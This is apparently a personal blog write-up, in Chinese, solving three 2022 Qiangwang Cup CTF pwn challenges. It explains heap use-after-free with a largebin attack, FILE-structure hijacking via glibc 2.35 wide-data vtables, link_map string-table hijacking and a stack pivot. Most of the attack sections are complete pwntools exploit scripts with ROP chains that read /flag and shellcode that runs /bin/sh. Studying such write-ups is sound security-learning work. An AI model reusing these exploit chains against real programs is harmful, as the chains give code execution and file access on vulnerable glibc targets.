kir[A]'s 小黑屋

强网杯2022-houseofcat&qwarnup&devnull writeup

字数统计: 2.6k阅读时长: 14 min
2022/08/07 Share

强网杯2022-houseofcat&qwarnup&devnull writeup

前言

好久好久没打比赛,也没写blog了。这次强网杯难得iptl大佬带我打一次,得好好记录一下。题目质量很高,学到不少新姿势。

house of cat

题目有add,delete,show,edit功能,限制只能申请largebin,delete没清空指针,只能edit两次,限制系统调用。题目使用libc-2.35

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0b 0x00 0x0000013e if (A == getrandom) goto 0017
0006: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0017
0007: 0x15 0x09 0x00 0x00000003 if (A == close) goto 0017
0008: 0x15 0x08 0x00 0x00000009 if (A == mmap) goto 0017
0009: 0x15 0x07 0x00 0x0000000c if (A == brk) goto 0017
0010: 0x15 0x06 0x00 0x000000e7 if (A == exit_group) goto 0017
0011: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0016
0012: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0013: 0x15 0x00 0x04 0x00000000 if (A != 0x0) goto 0018
0014: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0015: 0x15 0x01 0x02 0x00000000 if (A == 0x0) goto 0017 else goto 0018
0016: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL

主要参考house of apple2。(现在的house多得记不住了。。。)

攻击思路:

  1. UAF泄露libc,heap地址
  2. largebin attack将可控heap地址写入stderr
  3. 修改top chunk,触发报错

完整利用链为:sysmalloc-->assert->__malloc_assert->fflush(stderr)->IO_jump_t.__sync,劫持stderr结构体之后进入_IO_wstrn_jumps._IO_wdefault_xsgetn

函数的调用链如下:

1
2
3
4
5
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

由于题目有seccmop限制,只能用ROP,本次利用svcudp_reply+26,其中rdi为伪造结构体的地址

1
2
3
4
5
6
0x7f78243fb1fa <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]  
0x7f78243fb1fe <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7f78243fb202 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7f78243fb206 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7f78243fb20d <svcudp_reply+45>: mov rdi,r13
0x7f78243fb210 <svcudp_reply+48>: call QWORD PTR [rax+0x28]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
def menu(idx):
p.sendlineafter(b"mew mew mew~~~~~~\n", b"CAT | r00t QWBQWXF \xff$")
p.sendlineafter(b'choice:\n',str(idx))

def add(idx,size,content):
menu(1)
p.sendlineafter(b'idx:\n',str(idx))
p.sendlineafter(b'size:\n',str(size))
p.sendafter(b'content:\n',content)

def delete(idx):
menu(2)
p.sendlineafter(b'idx:\n',str(idx))

def show(idx):
menu(3)
p.sendlineafter(b'idx:\n',str(idx))

def edit(idx,content):
menu(4)
p.sendlineafter(b'idx:\n',str(idx))
p.sendafter(b'content:\n',content)

# login
p.sendlineafter(b"mew mew mew~~~~~~\n", b"LOGIN | r00t QWBQWXF admin\x00")
add(0,0x418,b'0'*0x418)
add(1,0x418,b'1'*0x418)
add(2,0x418,b'2'*0x418)
add(3,0x418,b'3'*0x418)

# leak libc address
delete(2)
show(2)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x219ce0
success(hex(libc.address))


# leak heap address
delete(0)
show(0) # 0 -> 2
p.recvuntil(b'Context:\n')
heap = u64(p.recv(6).ljust(8,b'\x00')) - 0xad0
success(hex(heap))

# clear
delete(1)
delete(3)

# ROP chain
stderr = libc.sym['stderr']
_IO_wstrn_jumps = libc.address + 0x215dc0 #libc.sym['_IO_wstrn_jumps']
_IO_stdfile_2_lock = libc.address + 0x21ba60#libc.sym['_IO_stdfile_2_lock']
svcudp_reply26 = libc.address + 0x16a1fa#libc.sym['svcudp_reply'] + 26
pop_r12_r13_r14_ret = libc.address + 0x000000000002be4c
pop_rsi_ret = libc.address + 0x000000000002be51
pop_rdi_ret = libc.address + 0x000000000002a3e5
pop_rdx_r12_ret = libc.address + 0x000000000011f497
pop_rax_ret = libc.address + 0x0000000000045eb0
leave_ret = libc.address + 0x00000000000562ec
read_addr = libc.sym['read']
write_addr = libc.sym['write']
close_addr = libc.sym['close']
syscall_ret = libc.address + 0x91396

# sysmalloc-->assert->__malloc_assert->fflush(stderr)->IO_jump_t.__sync
# _IO_wdefault_xsgetn _flags=0x800
io_file_plus = flat({
0x00: { # sub header size 0x10
0x48-0x10: heap + 0xb00 + 0x300, #'_IO_save_base',
0x88-0x10: _IO_stdfile_2_lock, #'_lock',
0xa0-0x10: heap + 0xb00 + 0x100, #'_wide_data',
0xc0-0x10: 0xff, #'_mode' > 1,
0xd8-0x10: _IO_wstrn_jumps - 0x20, #'vtable' (&sync - &xsgetn = 0x20)
},
# struct _IO_wide_data
# {
# wchar_t *_IO_read_ptr; /* Current read pointer */
# wchar_t *_IO_read_end; /* End of get area. */
# wchar_t *_IO_read_base; /* Start of putback+get area. */
# wchar_t *_IO_write_base; /* Start of put area. */
# wchar_t *_IO_write_ptr; /* Current put pointer. */
# wchar_t *_IO_write_end; /* End of put area. */
# wchar_t *_IO_buf_base; /* Start of reserve area. */
# wchar_t *_IO_buf_end; /* End of reserve area. */
# /* The following fields are used to support backing up and undo. */
# wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
# wchar_t *_IO_backup_base; /* Pointer to first valid character of
# backup area */
# wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

# __mbstate_t _IO_state;
# __mbstate_t _IO_last_state;
# struct _IO_codecvt _codecvt;
# wchar_t _shortbuf[1];
# const struct _IO_jump_t *_wide_vtable;
# };
0x100-0x10: { # wide_data struct
0x00: 0, #_IO_read_ptr
0x08: 0, #_IO_read_end - _IO_read_ptr <= 0
0x18: 0, #_IO_write_base
0x20: 1, #_IO_write_ptr > _IO_write_base
0xe0: heap + 0xb00 + 0x200, #_wide_vtable
},
0x200-0x10: {
0x18: svcudp_reply26, # svcudp_reply+26
# pwndbg> x/6i &svcudp_reply+26
# 0x7f78243fb1fa <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] rdi => *fp ; [rdi+0x48] = *fp->_IO_save_base = rop_addr = rbp
# 0x7f78243fb1fe <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] [rbp+0x18] = [rop+0x18] => rax = rop - 8
# 0x7f78243fb202 <svcudp_reply+34>: lea r13,[rbp+0x10] noused
# 0x7f78243fb206 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0 noused
# 0x7f78243fb20d <svcudp_reply+45>: mov rdi,r13 noused
# 0x7f78243fb210 <svcudp_reply+48>: call QWORD PTR [rax+0x28] [rax+0x28] = [rop -8 + 0x28] = [rop + 0x20] = leave;ret
},
0x300-0x10: { # ROP
0x00: [0xdeadbeef, pop_r12_r13_r14_ret],
0x10: [0xdeadbeef, heap + 0xb00 + 0x300 - 8],
0x20: [leave_ret, pop_rdi_ret],
0x30: [0, close_addr], # close(0)
0x40: [pop_rdi_ret, heap + 0xb00 + 0x430],
0x50: [pop_rsi_ret, 0],
0x60: [pop_rdx_r12_ret, 0],
0x70: [0, pop_rax_ret],
0x80: [2, syscall_ret], # open('/flag',0,0)
0x90: [pop_rdi_ret, 0],
0xa0: [pop_rsi_ret, heap + 0xb00 + 0x430],
0xb0: [pop_rdx_r12_ret, 0x40],
0xc0: [0, read_addr], # read(0,&buf,0x40)
0xd0: [pop_rdi_ret, 1],
0xe0: [pop_rsi_ret, heap + 0xb00 + 0x430],
0xf0: [pop_rdx_r12_ret, 0x40],
0x100: [0, write_addr], # write(1,&buf,0x40)
},
0x420:{
0x00: b'/flag\x00',
},
}, length=0x430, filler=b'\x00')

add(4, 0x440, b'4'*0x440)
add(5, 0x418, b'5'*0x410+p64(0x800)) # _flags=0x800
add(6, 0x430, io_file_plus)
add(7, 0x418, b'7'*0x418)
add(8, 0x450, b'8'*0x450)
add(9, 0x450, b'9'*0x450)
add(10, 0x450, b'a'*0x450)

delete(8)
delete(9)
delete(10)

# largebin attack
delete(4) # chunk0 => unsortedbin
add(11, 0x460, b'b'*0x460) # chunk0 => largebin
delete(6) # chunk2 => unsortedbin

# write heap addr to stderr
# DEBUG([0x177F],True)
main_arena_1120 = libc.address + 0x219ce0 - 96 + 1120
payload = flat(main_arena_1120,main_arena_1120,0,stderr-0x20) # largebin fd = main_arena+1120
edit(4, payload)
add(12, 0x460, b'c'*0x460)

# overwrite top chunk
edit(10, flat({0x10: [0, 0x200]}))

# trigger sysmalloc
menu(1)
p.sendlineafter(b'idx:\n',str(13))
p.sendlineafter(b'size:\n',str(0x460))
p.interactive()

qwarnup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char v4; // [rsp+7h] [rbp-19h] BYREF
__int64 buf; // [rsp+8h] [rbp-18h] BYREF
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
sub_13A4(a1, a2, a3);
read(0, &size, 4uLL);
v6 = malloc((unsigned int)size);
if ( !v6 )
_Exit(0);
do
{
buf = 0LL;
v4 = 0;
read(0, &buf, 8uLL);
read(0, &v4, 1uLL);
v6[buf] = v4;
write(1, "Success!", 8uLL);
HIWORD(v3) = WORD1(size);
LOWORD(v3) = 0;
}
while ( !v3 );
_Exit(0);
}

当申请的堆块足够大时,可以申请到接近libc前面内存。题目中会检查size,如果size小于0x10000,可以循环写,如果大于0x10000只能写一次。需要利用一次libc任意地址写1字节,使程序进入死循环。可以参考:Nightmare: One Byte to ROP , 本地的libc修改_Exit为write会报错,因此不能用此方法,但原理相同。

_dl_fixup_查找完函数地址后,会将函数地址回填到got表,那么可以通过修改link_map->l_addr,使回填的函数填到write@got某个偏移的地方,上述文章将偏移修改到_Exit@got,此题可以利用libc地址前面8位的高位为0的特点,覆盖在bss段的size,让程序进入死循环。

由于write的函数地址没有成功回填到got表,后面每次调用还会走symbol查找流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{

const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // DT_STRTAB id=5

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);

value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

_dl_lookup_symbol_x函数的第一个参数就是待查找函数的函数名,而sym->st_name对于同一个函数而言是一个固定值(write = 34),而strtab则是来源于于libc上的全局结构体link_map,那么可以劫持link_map->l_info[DT_STRTAB],使其指向可控内存段,达到任意函数调用。

DT_STRTAB在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]指向libc地址,然后我们在DT_DEBUG+34的地方写入需要调用的函数。

后续通过修改stdout结构体进行libc地址泄露及FSOP,本次继续使用_IO_wdefault_xsgetn的利用链,ROP照抄上面一题即可,注意需要小改一下。

1
_IO_flush_all -> _IO_flush_all_lockp --> IO_jump_t.__overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
def write(offset, bytes, tag=True):
for i, byte in enumerate(bytes):
p.send(p64(offset + i))
p.send(p8(byte))
if tag:
p.recvuntil(b"Success!")

# libc - heap offset
libc.address = 0xf4000 - 0x10
ld.address = 0x325000 - 0x10

# link_map offset
link_map_offset = 0x3602e0 - 0x10

p.send(p32(0xf0000))
size_addr = 0x408c
# write@libc = 0x00007fxxxxxxxxxx, overwrite size then size < 0x10000
write(link_map_offset, p8(size_addr-4 - elf.got["write"])) # overwrite &size-4 = write@libc

# leak libc address
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
print(hex(_IO_2_1_stdout_))
write(0x30e770,p32(0xfbad1800)) # _flags
write(0x30e770+0x28,b'\xff') # _IO_write_ptr

# DT_STRTAB+34 = write => DT_DEBUG+34 = call_func
write(0x360118-0x10+34,b"_IO_flush_all") # r_debug+34

# trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ba70
success(hex(libc.address))
# fix
write(link_map_offset+0x40+5*0x8, b'\x78')

## FSOP
# _IO_flush_all_lockp --> IO_jump_t.__overflow
heap_addr = libc.address - (0xf4000 - 0x10)

# Overwrite _IO_2_1_stdout_
# flags
write(0x30e770,p32(0x800))
# _mode > 1
write(0x30e770+0xc0,p8(0xff))
# _IO_save_base
write(0x30e770+0x48,p64(heap_addr)) # rdi
# vtable
_IO_wstrn_jumps = libc.address + 0x215dc0
write(0x30e770+0xd8,p64(_IO_wstrn_jumps+0x28)) # _IO_wdefault_xsgetn - _IO_wstrn_overflow

# Overwrite _wide_data
# _IO_write_ptr
write(0x30d9a0-0x10+0x20,p8(0x1))
# vtable
write(0x30d9a0-0x10+0xe0,p64(heap_addr+0x110-0x18))

# ROP
svcudp_reply26 = libc.address + 0x16a1fa
pop_r12_r13_r14_ret = libc.address + 0x000000000002be4c
pop_rsi_ret = libc.address + 0x000000000002be51
pop_rdi_ret = libc.address + 0x000000000002a3e5
pop_rdx_r12_ret = libc.address + 0x000000000011f497
pop_rax_ret = libc.address + 0x0000000000045eb0
leave_ret = libc.address + 0x00000000000562ec
read_addr = libc.sym['read']
write_addr = libc.sym['write']
syscall_ret = libc.address + 0x91396

rop = flat({
0x00: [b'/flag\x00\x00\x00', pop_r12_r13_r14_ret],
0x10: [0xdeadbeef, heap_addr - 8],
0x20: [leave_ret, pop_rdx_r12_ret],
0x30: [0xdeadbeef,0xdeadbeef],
0x40: [pop_rdi_ret, heap_addr], # '/flag'
0x50: [pop_rsi_ret, 0],
0x60: [pop_rdx_r12_ret, 0],
0x70: [0xdeadbeef, pop_rax_ret],
0x80: [2, syscall_ret], # open('/flag',0,0)
0x90: [pop_rdi_ret, 3],
0xa0: [pop_rsi_ret, heap_addr], # '/flag'
0xb0: [pop_rdx_r12_ret, 0x40],
0xc0: [0xdeadbeef, read_addr], # read(3,&buf,0x40)
0xd0: [pop_rdi_ret, 1],
0xe0: [pop_rsi_ret, heap_addr], # '/flag'
0xf0: [pop_rdx_r12_ret, 0x40],
0x100: [0xdeadbeef, write_addr], # write(1,&buf,0x40)
0x110: svcudp_reply26
})

write(0,rop)
# trigger _IO_flush_all
write(link_map_offset+0x40+5*0x8, b'\xb8', False)
p.interactive()

devnull

题目关键函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int sub_40138F()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
int fd; // [rsp+20h] [rbp-20h]
int v3; // [rsp+24h] [rbp-1Ch] BYREF
void *buf; // [rsp+38h] [rbp-8h]

sub_401356("/deb/null may cause some error\n");
stream = fopen("/dev/null", "rb");
fd = dword_404028;
if ( !stream )
{
sub_401356("error\n");
exit(1);
}
buf = malloc(dword_404010);
sub_401356("please input your filename\n");
fgets(s, n, stdin); // 可以溢出覆盖fd为0
sub_401356("Please write the data you want to discard\n");
if ( read(fd, &v3, dword_404014) ) // 栈溢出,刚好到ret
{
sub_4012B6(); // 把.data和.bss改成只能执行
sub_401356("please input your new data\n");
if ( !read(fd, buf, dword_404010) ) // 覆盖buf后任意地址写
exit(1);
sub_401356("Thanks\n");
return close(1);
}
else
{
sub_401356("no junk data?\n");
sub_401356("please input your new data\n");
read(0, buf, dword_404010);
return sub_4012E0(s, buf);
}
}

解题思路:
第一次输入20个字符将fd覆盖为0,下一次输入就刚好可以覆盖rbp和函数返回地址,同时也会将buf覆盖掉,可以进行任意地址写。由于.data和.bss被改成了只能能执行,可以使用0x3fe000-0x400000这个区域,然后栈迁移过去跑ROP。

本题可用gadget较少,需要一点技巧,主要使用了以下两个gadget。

1
2
3
4
5
6
7
8
9
10
11
12
p.sendafter(b'filename\n',b'a'*0x20)
# .text:0000000000401350 48 8B 45 E8 mov rax, [rbp+s]
# .text:0000000000401354 C9 leave
# .text:0000000000401355 C3 retn
p.sendafter(b'discard\n',b'a'*0x14+p64(0x3ff000)+p64(0x3ff020-8)+p64(0x401350))
# execute('/bin/sh',0,0)
shellcode = asm('mov rax, 0x3b; mov rdi, 0x3ff018; mov rsi, 0; mov rdx, 0; syscall')
# .text:00000000004012D0 BE 00 10 00 00 mov esi, 1000h ; len
# .text:00000000004012D5 48 89 C7 mov rdi, rax ; addr
# .text:00000000004012D8 E8 C3 FE FF FF call _mprotect
p.sendafter(b'data\n',p64(0x3ff000).ljust(0x18,b'a')+b'/bin/sh\x00'+flat(0x4012d0, 0xdeadbeef, 0x3ff038)+shellcode)
p.interactive() # exec 1>&2

后记

本次比赛pwn完成进度3/18,其他估计也做不出来了。决赛见。

CATALOG
  1. 1. 强网杯2022-houseofcat&qwarnup&devnull writeup
    1. 1.1. 前言
    2. 1.2. house of cat
      1. 1.2.1. qwarnup
      2. 1.2.2. devnull
    3. 1.3. 后记